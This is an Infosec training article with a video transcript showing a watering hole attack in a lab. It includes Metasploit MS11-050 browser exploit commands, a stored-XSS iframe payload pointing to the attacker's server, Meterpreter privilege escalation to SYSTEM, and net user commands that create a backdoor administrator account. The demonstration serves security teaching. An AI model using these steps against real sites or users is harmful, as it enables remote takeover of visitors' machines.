Application security

How to carry out a watering hole attack: Examples and video walkthrough

What is a watering hole attack, how do they work and what can you do to defend against them? Find out in this watering hole walkthrough from Infosec Principal Security Researcher Keatron Evans.

How does a watering hole attack work?

Watering hole attacks are one of the most dangerous cybersecurity issues because victims can be compromised simply by visiting a legitimate website. In this episode of Cyber Work Applied, Keatron walks through a real watering hole attack example. Watch the full walkthrough below:

New episodes of Cyber Work Applied are released every other week. Check out the full collection of free Cyber Work Applied training videos.

Watering hole attack example and walkthrough

The edited transcript of Keatron's watering hole attack walkthrough is provided below, along with a portion of the code he uses.

Watering hole attack demo overview

(0:00–0:44) We're going to look at how to go step by step through a watering hole attack. We'll configure it, set it up and watch the results of what happens when an unknowing victim comes and visits the site after someone's set up a watering hole attack.

I'm going to go ahead and quickly set up the exploit on my side. Then I'll visit the website that's vulnerable to cross-site scripting, and I'm going to end up planting my watering hole attack on that cross-site-scripting vulnerable site. Finally, we'll switch over and look at it from the victim's perspective. We'll actually see the victim visit that site after I've put my code there. So let's go ahead and dive into it.

Setting up the exploit

(0:45–1:30) I'm going to complete setting up the exploit here using Metasploit. I'm going to set just a few little parts here: the port that I'm going to listen on, and something called a URI path. The URI path is the location behind that IPN port that we're going to have this machine visit.

msf exploit(msll_050_mshtml_cobjectelement) > set SRVPORT 8080

msf exploit(msll_050_mshtml_cobjectelement) > set URIPATH aa

msf exploit(msll_050_mshtml_cobjectelement) > ifconfig

So there's all my stuff. I go ahead and launch the exploit.

msf exploit(msll_050_mshtml_cobjectelement) > exploit

At this point, what I've done is set up the exploit that's going to exploit whoever's browser happens to visit my site. The challenge here is how do I get someone to visit this little malicious site I've just set up here? Well, the way we're going to do that is via a watering hole attack.

Setting up a watering hole attack

(1:31–3:39) We're going to find a site that we know people are going to visit. Then on that site, we'll find a cross-site scripting vulnerability and plant a pointer that points back to our malicious site. Then we just wait for people to come cash in for us.

Using Damn Vulnerable Web App (DVWA)

Let's go ahead and take a look at how that happens. This site right here is a malicious site. It's a VM that you can get on the open-source web here from the OWASP website. I'm just going to set it back to its default.

Cross-site scripting via an iframe

I'm going to go ahead and go to stored cross-site scripting. Then I'm going to log in, and let's just pretend this is any site you visit frequently. On this site, I'm going to go ahead and post a comment, as we would anywhere else. In that comment, I'm going to put in an iframe tag that points to the server that we were just on, which is the machine that we're sitting on now.

So I'm going to put a pointer back to my machine, which is 204, and the port was 8080, and the URL was AA, right? That's my iframe.

<iframe src="http://192.168.248.204:8080/aa">

An iframe is basically just — if you've ever visited a site and you saw that there was another little website inside that site, that little site that's in there that you can scroll up and down inside that page is what an iframe actually is. We use those for a lot of different things. In this particular case, I'm using it maliciously. So what I'm actually doing is exploiting cross-site scripting via an iframe which leads to, over a while, it being a watering hole attack.

Let's go ahead and complete it. I'll go ahead and sign the guestbook, and we know it actually worked because now we can see on the page that we just signed — there's our little iframe, our little site within a site. That's what we want our victims to see. Now, I am not affected by it because my browser is not affected by this vulnerability.

Watering hole attack: Victim's perspective

(3:40–4:26) Let's go ahead and look at it from the victim's perspective. We're going to play the part of a victim that just happens to be going to visit that same site.

The victim goes over to visit that same site that we always visit. The victim logs into their account. The victim decides to go look at the same area of the site, and just from loading the page, you can see the iframe that I planted earlier load there. Just from that page loading, at this point, the victim is actually compromised.

Watering hole attack: Attacker's perspective

(4:27–7:01) To prove the attack worked, let's go back and look at the attacker's screen. When we go back and look at the attacker's screen, what we see is the attacker has now generated a session. And that means the attacker now has access to the victim's computer because they visited that site.

So the trick here is the malicious code wasn't actually on the good site. It was a pointer on the good site that pointed to the attacker's site that had the bad code. This is how you get around like filters on Facebook and places like that that would otherwise block this attack.

What can the attacker do after a watering hole attack?

Let's see what this gave us. Once we connect to that session, we now have complete control of that victim's machine. We can do things like take a screenshot, and we can see what they see on their screen.

msf exploit(msll_050_mshtml_cobjectelement > sessions -i 1

meterpreter > screenshot

We could also reset passwords, and most importantly, we could actually elevate privileges. For example, if I were to go to a command shell and check my permissions here, you can see that I'm just a regular user. Now in the world of Windows, the highest possible privilege you can ever have is that of the system, which is the Windows equivalent to what we call root in Linux.

Now, because I'm there, I can find a process that's running with that elevated privilege, which is going to be an easy thing to do in Windows because so many processes run with elevated privileges. I'm going to pick the services.exe which runs on every Windows system in the world, and I'm going to try to migrate into that service which has a process identifier of 492. So I go ahead and do the migration.

meterpreter > migrate 492

Windows happily says, "Okay, no problem. I'll let you migrate into that." Now if I drop down to shell, the permission I inherited is system.

meterpreter > shell

C:\Windows\system32>whoami

So now I've got the highest possible privilege you can ever have on the Windows machine. At this point, I can do something like this to create a user.

C:\Windows\system32>net user infosec P@ssw0rd$$ /ADD

Most importantly, I can now add that user to the local admin group.

C:\Windows\system32>net localgroup administrators infosec /ADD

And at that point, it's game over because this computer completely belongs to me.

Watering hole attack summary

(7:02–7:17) We got here by waiting for our victim to visit a site that we were able to post an iframe in that points back to a site that we control. This is exactly what a watering hole attack looks like and this is also why they are so devastating.